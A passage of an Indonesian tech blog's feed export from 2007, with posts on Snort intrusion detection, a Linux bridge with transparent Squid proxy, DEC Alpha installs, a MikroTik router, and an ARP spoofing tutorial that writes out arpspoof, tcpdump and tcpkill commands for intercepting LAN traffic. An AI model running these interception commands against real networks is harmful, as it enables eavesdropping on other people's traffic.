lengkap dapat didownload di : &lt;a href="http://www.geocities.com/emomelodicfreak/ProjekAV2.zip"&gt;Projek AV 2&lt;/a&gt;, &lt;a href="http://www.pushm0v.anime.0lx.net/ProjekAV2.zip"&gt;Mirror&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-4617049926490575161?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/4617049926490575161/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=4617049926490575161' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4617049926490575161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4617049926490575161'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/08/how-to-make-your-own-anti-virus-part-2.html' title='How To Make Your Own Anti Virus - Part 2'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_C4OekAEc7cI/RtBtmkd2PyI/AAAAAAAAABM/EDec5fu7Me0/s72-c/DSC00156.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-5137997858755998762</id><published>2007-08-17T23:02:00.000+07:00</published><updated>2007-08-17T23:54:04.722+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>NIDS di Linux dengan Snort</title><content type='html'>&lt;a href="http://bp0.blogger.com/_C4OekAEc7cI/RsXQSjlnIhI/AAAAAAAAAA8/3Rw1OdQIar8/s1600-h/snort_org_03.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/RsXQSjlnIhI/AAAAAAAAAA8/3Rw1OdQIar8/s320/snort_org_03.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5099711170276172306" title="snort.org"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;IDS atau Intrusion Detection System itu paan ya? Menurut sejumlah referensi, IDS adalah suatu sistem yang memonitor perubahan-perubahan yang terjadi di sebuah sistem komputer, baik itu perubahan dalam sebuah jaringan maupun dari penggunaan komputer itu sendiri. IDS banyak macamna, antara lain :&lt;br /&gt;&lt;br /&gt;1. HIDS, Host based Intrusion Detection System. IDS jenis ini akan memonitor dan menganalisa segala aktifitas yang terjadi dalam satu host tertentu.&lt;br /&gt;2. NIDS, Network Intrusion Detection System. IDS yang ini akan memonitor dan menganalisa semua lalu-lintas paket yang ada di jaringan.&lt;br /&gt;3. PIDS, Protocol-based Untrusion Detection System, nah kalo yang ini biasana ditempatkan di front-end sebuah server. Akan memonitor dan menganalisa semua komunikasi yang terjadi di suatu protokol, misal HTTPS.&lt;br /&gt;4. APIDS, Application Protocol-based Intrusion Detection System. Hampir sama dengan PIDS, hanya saja agak berbeda tempat "nangkringna". Dia akan memonitor dan menganalisa status, perubahan dari suatu aplikasi protokol.&lt;br /&gt;4. Hybrid Intrusion Detection System. Dari namana ajah dah diketahui "gabungan", berarti jenis yang ini adalah gabungan dari jenis2 yang sudah ada.&lt;br /&gt;&lt;br /&gt;Yuk kita coba mengimplementasikan NIDS di linux. Disini aq pake box Linux debian etch 2.6.18-4-alpha-generic. Snort adalah salah satu aplikasi NIDS yang ada, Snort yang akan diinstal adalah versi 2.3.3. Oh iya, si Snort ini mempunyai kemampuan untuk mengexport log ke bentuk database, ada beberapa database yang dapat digunakan, kayak MySQL, PostgreSQL, oracle, MSSQL dan odbc. Kali ini kita tidak menggunakan fitur ini :).&lt;br /&gt;&lt;br /&gt;Pertama tentuna kita install si Snort, pake perintah apt-get :&lt;br /&gt;&lt;br /&gt;debian:~# apt-get install snort&lt;br /&gt;&lt;br /&gt;buzz..buzz.. si apt bakal nyari dependencies dari si snort sekalian :). Kalo udah diinstall, nanti akan muncul menu yang menanyakan alamat IP yang akan di monitor ma si Snort. Aq masukin 192.168.1.0/24, buat monitor LAN aq :)&lt;br /&gt;&lt;br /&gt;Setelah itu, akan dijalankan si Snort secara otomatis. Buat ngecek dah jalan pa lom, kita cari prosesna :&lt;br /&gt;&lt;br /&gt;debian:~# ps -ax | grep snort&lt;br /&gt;&lt;br /&gt; 2082 ?        Ss     0:02 /usr/sbin/snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[192.168.1.0/24] -i eth3&lt;br /&gt; 2321 pts/0    S+     0:00 grep snort&lt;br /&gt;&lt;br /&gt;Yups, si Snort telah berhasil diluncurkan :P hehehhe, secara default si Snort nyimpen logna di /var/log/snort dalam bentuk log tcpdump. Ya kalo pgn dibaca harus pake aplikasi log analisis, ato pake tcpdump juga bisa :)&lt;br /&gt;&lt;br /&gt;Apaan sih arti dari argumen2 -D -d -l n dll? -m deklarasi umask, -D berarti Snort berjalan pada mode Daemon, -d berarti Snort akan men-dump layer aplikasi, -l berarti Snort akan menyimpan file log ke lokasi yang ditentukan, -u berarti Snort dijalankan sebagai userid yang ditentukan, -g berarti Snort dijalankan sebagai groupid yang ditentukan, -c berarti si Snort akan menggunakan file konfigurasi yang ditentukan, -S akan mendeklarasikan nilai ke variabel yang ditentukan (n=v), dan -i adalah interface yang akan di"tangkringin" :P&lt;br /&gt;&lt;br /&gt;Dalam beberapa kasus si Snort agak bermasalah. Versi yang terbaru saat ini dari www.snort.org adalah versi Snort 2.7.0.1. Aq install di box Debian n Slackware masih ada masalah. Masalahna yaitu si Snort gagal untuk berjalan dgn sukses, hal ini dapat dilihat pada /var/log/syslog :&lt;br /&gt;&lt;br /&gt; debian kernel: device eth3 entered promiscuous mode&lt;br /&gt; debian kernel: device eth3 left promiscuous mode&lt;br /&gt;&lt;br /&gt;Beberapa thread di forum Snort.org juga menunjukkan hal ini. Tapi sampai saat ini aq juga lom tau kenapa :(.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-5137997858755998762?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/5137997858755998762/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=5137997858755998762' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5137997858755998762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5137997858755998762'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/08/nids-di-linux-dengan-snort.html' title='NIDS di Linux dengan Snort'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_C4OekAEc7cI/RsXQSjlnIhI/AAAAAAAAAA8/3Rw1OdQIar8/s72-c/snort_org_03.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-6864443350981792002</id><published>2007-07-29T20:03:00.001+07:00</published><updated>2007-07-29T21:12:41.384+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Bikin Bridge + transparent Proxy di Debian Etch arc ALPHA</title><content type='html'>&lt;a href="http://bp1.blogger.com/_C4OekAEc7cI/RqyRwQHSYXI/AAAAAAAAAAs/wI63J1ybpKU/s1600-h/bridge2a.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/RqyRwQHSYXI/AAAAAAAAAAs/wI63J1ybpKU/s320/bridge2a.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5092605536794468722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Apa sih "Bridge" itu? menurut kamus sih artina jembatan, yups, bridge dalam istilah jaringan/network adalah menghubungkan 2 atau lebih kartu interface network (NIC) layakna sebuah switch. Jadi kalo PC kita dijadikan Brdige, maka PC tsb akan bertingkah laku seperti switch. Apa aja yang bisa dilakuin dengan PC yang dijadikan bridge pada suatu jaringan/network? Banyaaaakkkk sekali, contohna kita bisa bikin transparent firewall, transparent proxy, dll. Kali ini kita akan bikin PC Bridge + transparent proxy dengan Squid 2.6.STABLE14.&lt;br /&gt;&lt;br /&gt;Untuk membuat bridge aq pake Linux debian 2.6.18-4-alpha-generic, jgn lupa kalo pake linux dengan kernel 2.4 harus di patch duluw. Package yang diperluin adalah &lt;a href="http://packages.debian.org/unstable/net/ebtables"&gt;ebtables&lt;/a&gt;, &lt;a href="http://packages.debian.org/unstable/net/iptables"&gt;iptables&lt;/a&gt; dan &lt;a href="http://packages.debian.org/stable/net/bridge-utils"&gt;bridge-utils&lt;/a&gt;. Kalo gk mo susah2, tinggal pake apt-get : &lt;br /&gt;&lt;br /&gt;debian:~# apt-get install iptables ebtables bridge-utils&lt;br /&gt;&lt;br /&gt;setelah diinstall, mari kita coba jalanin si ebtables :&lt;br /&gt;&lt;br /&gt;debian:~# ebtables&lt;br /&gt;ebtables v2.0.6 (November 2003)&lt;br /&gt;....&lt;br /&gt;&lt;br /&gt;hehhehe dah bisa tuh si ebtablesna, sekarang kita konfigurasi buat bridgena. Jgn lupa, bridge memerlukan 2 atau lebih NIC yang terpasang di PC. Kita akan menghubungkan 2 segmen network dgn skema :&lt;br /&gt;&lt;br /&gt;modem internet (192.168.1.1) ===[eth0] bridge [eth1]=== LAN (192.168.1.x)&lt;br /&gt;&lt;br /&gt;Kita buat duluw interface buat si bridge :&lt;br /&gt;&lt;br /&gt;debian:~# brctl addbr br0   &lt;br /&gt;&lt;br /&gt;tyus kita buat si eth0 dan eth1 tidak memiliki IP address : &lt;br /&gt;&lt;br /&gt;debian:~# ifconfig eth0 0.0.0.0 promisc up&lt;br /&gt;debian:~# ifconfig eth1 0.0.0.0 promisc up&lt;br /&gt;&lt;br /&gt;Wew, promisc apaan nuh? promiscuous adalah mode dimana NIC akan mendengarkan dan menerima semua jenis frame yang masuk kedalamnya. Hal ini penting karena si bridge perlu mendegarkan semua frame yang akan masuk. Setelah itu kita tambahin si eth0 n eht1 ke interface br0 :&lt;br /&gt;&lt;br /&gt;debian:~# brctl addif br0 eth0&lt;br /&gt;debian:~# brctl addif br0 eth1&lt;br /&gt;&lt;br /&gt;Mari kita UP si br0 :&lt;br /&gt;&lt;br /&gt;debian:~# ip link set br0 up&lt;br /&gt;&lt;br /&gt;Hehehehe, lalu gimana kita ingin akses PC bridge ini secara remote? Untuk itu kita tambahin IP buat si br0 :&lt;br /&gt;&lt;br /&gt;debian:~# ip addr add 192.168.1.254/24 brd + dev br0&lt;br /&gt;&lt;br /&gt;Jangan lupa tambahin gateway buat si br0 biar gk bingung nyari "gerbang keluar" :&lt;br /&gt;&lt;br /&gt;debian:~# route add default gw 192.168.1.1 dev br0&lt;br /&gt;&lt;br /&gt;Taraaaaaaaa hampir selese nih, sebenarna kalo buat bridge ajah dah selese ampe sini, berhubung pgn dijadiin transparent proxy juga maka harus di set juga si Squidna :P. Package yang diperluin buat si proxy : &lt;a href="http://packages.debian.org/unstable/web/squid"&gt;Squid&lt;/a&gt;. Package ini banyak dependeciesna, jadi mendingan lsg pake apt ajah :&lt;br /&gt;&lt;br /&gt;debian:~# apt-get install squid &lt;br /&gt;&lt;br /&gt;File konfigurasi squid ada di /etc/squid/squid.conf, edit file ini nih soalna penting. Yang harus diperhatikan adalah penambahan baris sbb :&lt;br /&gt;&lt;br /&gt;http_port 3128 transparent&lt;br /&gt;acl lan src 192.168.1.0/24&lt;br /&gt;http_access allow lan&lt;br /&gt;&lt;br /&gt;Restart si Squid :&lt;br /&gt;&lt;br /&gt;debian:~# /etc/init.d/squid restart&lt;br /&gt;&lt;br /&gt;Kalo gk da error, maka si squid dah jalan sebagai transparent proxy :). Nah sekarang tinggal kita redirect koneksi HTTP (port 80) ke squid (port 3128). Kita gunain si ebtables n iptables :&lt;br /&gt;&lt;br /&gt;debian:~# ebtables -t broute -A BROUTING -p IPv4 --ip-protocol 6 --ip-destination-port 80 -j redirect --redirect-target ACCEPT&lt;br /&gt;debian:~# iptables -t nat -A PREROUTING -i br0 -p tcp --dport 80 -j REDIRECT --to-port 3128&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk percobaan, konekin kabel ethernet LAN ke eth1 n modem internet ke eth0. Buka browser (tidak perlu setting proxy di browser, karena sudah mode transparent :)), n coba buka &lt;a href="http://www.google.co.id/"&gt;oms google&lt;/a&gt;. Kalo gk da masalah, maka bridge + transparent proxy sukses diimplementasikan :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-6864443350981792002?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/6864443350981792002/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=6864443350981792002' title='5 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6864443350981792002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6864443350981792002'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/07/bikin-bridge-transparent-proxy-di.html' title='Bikin Bridge + transparent Proxy di Debian Etch arc ALPHA'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_C4OekAEc7cI/RqyRwQHSYXI/AAAAAAAAAAs/wI63J1ybpKU/s72-c/bridge2a.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-2259401439465573950</id><published>2007-07-25T22:29:00.000+07:00</published><updated>2007-07-25T23:37:57.437+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>ARP Spoofing n Sniffing</title><content type='html'>&lt;a href="http://bp1.blogger.com/_C4OekAEc7cI/RqdubgHSYWI/AAAAAAAAAAk/itNrYnYFSD0/s1600-h/tcpdump-log.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/RqdubgHSYWI/AAAAAAAAAAk/itNrYnYFSD0/s320/tcpdump-log.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5091159322521657698" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Address Resolution Protocol (ARP) adalah protokol untuk mapping dari alamat IP (Internet Protocol) ke alamat fisik MAC (Media Access Control). Misal di suatu jaringan kita ingin mengirim paket ke host A 192.168.1.2, maka pertama kita harus tau sapa yg mempunyai alamat IP tsb. Maka ARP akan membroadcast pertanyaan tsb ke semua host yang ada di jaringan. Sang empunya alamat IP tsb akan menjawab kembali sahutan tsb dengan mengirimkan alamat MACnya. Alamat MAC ini akan disimpan di tabel ARP untuk memudahkan pencarian jika diperlukan pengiriman paket ke tujuan yang sama.&lt;br /&gt;&lt;br /&gt;Kayak gimana sih bentuk format frame ARP? Terdiri dari 2 bagian, yaitu header ethernet dan paket ARP. Header ethernet berupa :&lt;br /&gt;- 6 byte alamat tujuan    &lt;br /&gt;- 6 byte alamat pengirim &lt;br /&gt;- 2 byte jenis frame ARP &lt;br /&gt; &lt;br /&gt;Sedangkan paket ARPna berupa :&lt;br /&gt;- 2 byte jenis alamat hardware (1 = ethernet)&lt;br /&gt;- 2 byte jenis protokol yang di map (0800H = alamat IP)&lt;br /&gt;- 1 byte ukuran alamat hardware &lt;br /&gt;- 1 byte ukuran protokol                                               &lt;br /&gt;- 2 byte tipe operasi (1 = ARP request, 2=ARP reply, 3=*RARP request   &lt;br /&gt;,4=RARP reply) &lt;br /&gt;- 6 byte alamat ethernet pengirim  &lt;br /&gt;- 4 byte alamat IP pengirim &lt;br /&gt;- 6 byte alamat ethernet penerima&lt;br /&gt;- 4 byte alamat IP penerima&lt;br /&gt;&lt;br /&gt;*RARP (Reverse Address Resolution Protocol) digunakan untuk sistem komputer diskless, guna mendapatkan alamat IP mereka saat boot.&lt;br /&gt;&lt;br /&gt;ARP Spoofing merupakan suatu kegiatan yang memanipulasi paket ARP. Misal paket X dari komputer A ditujukan untuk komputer B, ketika komputer A membroadcast paket ARP di jaringan, maka komputer C sang manipulator dapat "meracuni" (Posioning) paket ARP tsb agar paket X ditujukan ke komputer C terlebih dahulu baru diforward ke komputer B. Poisoning ini mengganti alamat MAC komputer B dengan alamat MAC komputer C di tabel ARP komputer A dan sebaliknya, alamat MAC komputer A diganti menjadi alamat MAC komputer C di tabel ARP komputer B. Jenis-jenis serangan yang bisa dilakukan dnegan ARP Spoofing diantarana adalah sniffing, Man in the Middle, MAC Flooding, DoS (Denial of Service), Hijacking n Cloning.&lt;br /&gt;&lt;br /&gt;Apa ajah sih yg diperluin buat ARP Spoofing ini? Kalo aq sih pake arpspoof yang ada di paket &lt;a href="http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz"&gt;dsniff-2.3&lt;/a&gt; untuk OS Linux. Ohiya, sebelum menginstall dsniff ini  perlu dicek apakah di sistem yang digunain dah terinstall &lt;a href="http://www.packetfactory.net/libnet/dist/deprecated/libnet-1.0.2a.tar.gz"&gt;libnet&lt;/a&gt; ma &lt;a href="http://www.packetfactory.net/projects/libnids/dist/libnids-1.18.tar.gz"&gt;libnids&lt;/a&gt;. Jangan lupa untuk jenis attacking sniffing ato MIM perlu IP Forwarding diaktifkan (echo 1 &gt; /proc/sys/net/ipv4/ip_forward).&lt;br /&gt;&lt;br /&gt;Seperti biasa, unpack paket dsniff lalu configure n terakhir make install. Ohiya, pas saat make, aq sempet dapet error compiling module sshcrypto : &lt;br /&gt;&lt;br /&gt;sshcrypto.c:30: error: parse error before "des_key_schedule"&lt;br /&gt;....blablabla&lt;br /&gt;....blablabla&lt;br /&gt;*** Error code 1&lt;br /&gt;&lt;br /&gt;Solusina kita buka n edit file sshcrypto.c di folder dsniff-2.3, tambahin :&lt;br /&gt;&lt;br /&gt;#include &amp;lt;openssl/des.h&amp;gt;&lt;br /&gt;#include &amp;lt;openssl/blowfish.h&amp;gt;&lt;br /&gt;&lt;br /&gt;di deklarasi file header yang diperlukan. Bila dah kelar n gak da error lagi, coba jalanin si dsniff ato si arpspoof :)&lt;br /&gt;&lt;br /&gt;Yuukk kita coba meracuni n ngendus paket antara komputer A 192.168.1.1 n komputer B 192.168.1.3, komputer C (attacker) 192.168.1.6.&lt;br /&gt;&lt;br /&gt;jalanin si arpspoof terlebih dahulu :&lt;br /&gt;&lt;br /&gt;root@slack:~# arpspoof -t 192.168.1.1 192.168.1.3 &amp; &gt;/dev/null&lt;br /&gt;root@slack:~# arpspoof -t 192.168.1.3 192.168.1.1 &amp; &gt;/dev/null&lt;br /&gt;&lt;br /&gt;kalo dah bener nanti di console akan muncul kayak gini :&lt;br /&gt;&lt;br /&gt;0:c:29:3e:2d:46 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:c:29:3e:2d:46&lt;br /&gt;0:e0:29:63:d1:6 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:e0:29:63:d1:6&lt;br /&gt;&lt;br /&gt;Setelah itu bisa kita endus pake dsniff ato tcpdump, misal mo pake tcpdump bisa kita capture hasilna ke file, pake :&lt;br /&gt;&lt;br /&gt;root@slack:~# tcpdump -i eth0 -w endus.txt&lt;br /&gt;&lt;br /&gt;dimana eth0 adalah interface card dan endus.txt adalah nama file outputna :). Kalo file tsb dibuka masi kaco isina &gt;.&lt;, jadi bisa kita liat pake tcpdump juga, pake :&lt;br /&gt;&lt;br /&gt;root@slack:~# tcpdump -r endus.txt&lt;br /&gt;&lt;br /&gt;hehehehe lumayan asik kan ARP Spoofing, gak hanya buat sniffing juga tapi bisa kita blok koneksi tertentu misal :&lt;br /&gt;&lt;br /&gt;root@slack:~# tcpkill -9 host www.playboy.com&lt;br /&gt;&lt;br /&gt;Untuk matiin proses si arpspoof n tcpdump bisa dengan cara :&lt;br /&gt;&lt;br /&gt;root@slack:~# killall arpspoof&lt;br /&gt;root@slack:~# killall tcpdump&lt;br /&gt;&lt;br /&gt;:) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-2259401439465573950?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/2259401439465573950/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=2259401439465573950' title='7 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/2259401439465573950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/2259401439465573950'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/07/arp-spoofing-n-sniffing.html' title='ARP Spoofing n Sniffing'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_C4OekAEc7cI/RqdubgHSYWI/AAAAAAAAAAk/itNrYnYFSD0/s72-c/tcpdump-log.JPG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-278063173314536548</id><published>2007-07-18T17:40:00.000+07:00</published><updated>2007-07-18T18:01:17.609+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>PC164 DEC ALPHA Server part - 2</title><content type='html'>&lt;a href="http://bp3.blogger.com/_C4OekAEc7cI/Rp3ynZzzysI/AAAAAAAAAAc/Ee822y1mFjU/s1600-h/180px-SRM_loading_aboot.png" title="Tampilan SRM Console" &gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/Rp3ynZzzysI/AAAAAAAAAAc/Ee822y1mFjU/s320/180px-SRM_loading_aboot.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5088489912755538626" /&gt;&lt;/a&gt;&lt;br /&gt;Setelah ganti bahasa si NT 4.0, pgn jajal install linux di ALPHA. Menurut referensi dari &lt;a href="www.alphalinux.org"&gt;www.alphalinux.org&lt;/a&gt;, ada beberapa distro linux yang bisa diinstal di architecture ALPHA. Diantarana itu ada Debian, CentOS, slackware n dll... Cari2 referensi lain dari oms google, katana kalo linux/unix di ALPHA hanya dukung SRM Console :(, akhirna harus diupgrade firmware si ALPHA jadi SRM Console... dapet dari &lt;a href="http://ftp.digital.com/pub/Digital/Alpha/firmware/"&gt;http://ftp.digital.com/pub/Digital/Alpha/firmware/&lt;/a&gt;, aq pilih PC164 SRM Console. Donlod versi terbaruna, ekstrak ke floppy, trus dari menu ARC tinggal pilih upgrade firmware ato jalanin fwupdate.exe dari disketna :) :). Flashing...flashing si firmware, jadi deh SRM Console terinstall!!! &lt;br /&gt;&lt;br /&gt;Humm.. bentukna si SRM Console mang bener2 "Console", alias perlu command2 buat jalanin fungsina... kebetulan ada manual-reference bagus dari situs red-hat, &lt;a href="http://www.redhat.com/docs/manuals/linux/RHL-7-Manual/alpha-install-guide/s1-alpha-srm.html"&gt;http://www.redhat.com/docs/manuals/linux/RHL-7-Manual/alpha-install-guide/s1-alpha-srm.html&lt;/a&gt;, hehehhehe bisa boot ke IDE ato SCSI, trus ngeliat Device yang terkoneksi n dll....&lt;br /&gt;&lt;br /&gt;Untuk distro, aq pertama pilih si CentOS. Pertama kali booting  dari CD dah ada msalah... akhirna coba si FreeBSD.... booting, installing, gk da masalah... eh ada masalah pas detek devicena :(... ya udah akhirna beralih ke Debian Etch :)....&lt;br /&gt;&lt;br /&gt;Booting dari CD, partisi Disk, dll sampe jalanin si "pingu" Debian gak masalah! horeeeeeee!!!! Tapi gk kuatna donlod file ISOna itu, banyak betul :( ...&lt;br /&gt;&lt;br /&gt;Sampe sekarang aq pake si Debian di box ALPHA, setting jadi bridge + install squid jadiin transparent proxy :) lancarrrrrrrrrrrr :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-278063173314536548?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/278063173314536548/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=278063173314536548' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/278063173314536548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/278063173314536548'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/07/pc164-dec-alpha-server-part-2.html' title='PC164 DEC ALPHA Server part - 2'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/Rp3ynZzzysI/AAAAAAAAAAc/Ee822y1mFjU/s72-c/180px-SRM_loading_aboot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-588884020845535910</id><published>2007-07-09T01:00:00.000+07:00</published><updated>2007-07-09T08:15:01.108+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Bikin PC lawas jadi PC Router.. My version! Part - 2</title><content type='html'>&lt;a href="http://bp3.blogger.com/_C4OekAEc7cI/RpGLoN3MWnI/AAAAAAAAAAM/9lJiFqVgk3Y/s1600-h/DSC00440.JPG"&gt;&lt;img style="float:center; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RpGLoN3MWnI/AAAAAAAAAAM/9lJiFqVgk3Y/s320/DSC00440.JPG" border="0" alt="" title="Setting Jumper" id="BLOGGER_PHOTO_ID_5084998977310186098" /&gt;&lt;/a&gt;&lt;br /&gt;Berkat bantuan Mr. Edwin from webhq_nl@motherboards.mbarron.net, baru tau kalo mobo si cilik itu HOT-555 rev. 1.4. Dah lengkap dikirimin manual mobona ma dia, mulai ngutak-atik jumper buat naikin multiplier, system clock n voltage. Upsss... Pentium MMX itu perlu dual voltage, 2.8 v dan 3.3 v, jgn lupa ma settingan ini :). System clock diubah ke 66 MHz (sesuai manual), multiplier set ke 1:3.... Taraaaaaa akhirna processor dengan mulus berjalan di kisaran 166 MHz, kenapa cuman 166 MHz? ternyata dari chipset i430 VX mang ada beberapa yg cuman sanggup jalanin Pentium MMX secara maksimal di clock tersebut :( ya gpp lah, yg penting si cilik "agak" powerfull...&lt;br /&gt;&lt;br /&gt;Karena nih PC pgn dijadiin PCRouter, maka NIC perlu lebih dari 1 (sukur2 bisa dipasang 3 :P). Aq pakein 3 NIC, macem2 deh merekna.. Maklum beli seken di deket kampus @ 12500 :)... Aq bikin kayak gini skemana :&lt;br /&gt;&lt;br /&gt;Modem 192.168.1.1 ---- NIC 1 (Internet) 192.168.1.2&lt;br /&gt;                  |--- NIC 2 (Lan) 192.168.0.1 ---- Switch LAN&lt;br /&gt;                  |--- NIC 3 (Wireless_LAN) 10.0.0.1 &lt;br /&gt;&lt;br /&gt;Hardware dah selese, sekarang urusan OS... OS yg mo dipake tentuna OS Router, kayak Mikrotik (mikriting aq nyebutna :P), atau IPCop, n dll... Untuk IPCop lom pernah coba berhubung masi gagal installansi di mesin ALPHA :)...&lt;br /&gt;&lt;br /&gt;Mikrotik yg aq pake versi 2.9.27, hehehe untuk eksperimen masih pake yang "gratisan" :P... Instalansi gak da kendala, tinggal pilih2 paket yang ingin diinstall (linux bgt!) trus save, reboot... :D :D&lt;br /&gt;&lt;br /&gt;Dari mikrotik dah disediain tools management GUI, kayak winbox bahkan bisa diakses lewat web :D... &lt;br /&gt;&lt;br /&gt;Kalo dah bisa login ke shellna si mikriting (default user : admin, pass : [blank]), bisa setting ip address buat masing2 NIC :&lt;br /&gt;&lt;br /&gt;[admin@MiKriting] &gt; /ip address add 